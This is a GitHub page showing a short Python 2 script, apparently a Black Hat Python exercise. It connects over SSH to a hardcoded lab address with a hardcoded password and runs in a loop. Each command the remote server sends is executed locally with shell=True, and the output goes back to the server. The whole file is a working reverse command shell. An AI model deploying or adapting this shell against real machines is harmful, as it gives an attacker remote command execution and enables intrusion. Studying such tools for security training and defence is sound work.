-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathbh_sshRcmd.py
30 lines (24 loc) · 967 Bytes
/
bh_sshRcmd.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python
__author__ = 'kalcho'
import threading
import subprocess
import paramiko
def ssh_command(ip, user, passwd, command):
client = paramiko.SSHClient()
#client.load_host_keys('home/justin/.ssh/known_hosts'
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command)
print ssh_session.recv(1024) # read banner
while True:
command = ssh_session.recv(1024) # get the command from the SSH server
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception, e:
ssh_session.send(str(e))
client.close()
return
ssh_command('192.168.56.1', 'justin', 'lovesthepython', 'ClientConnected')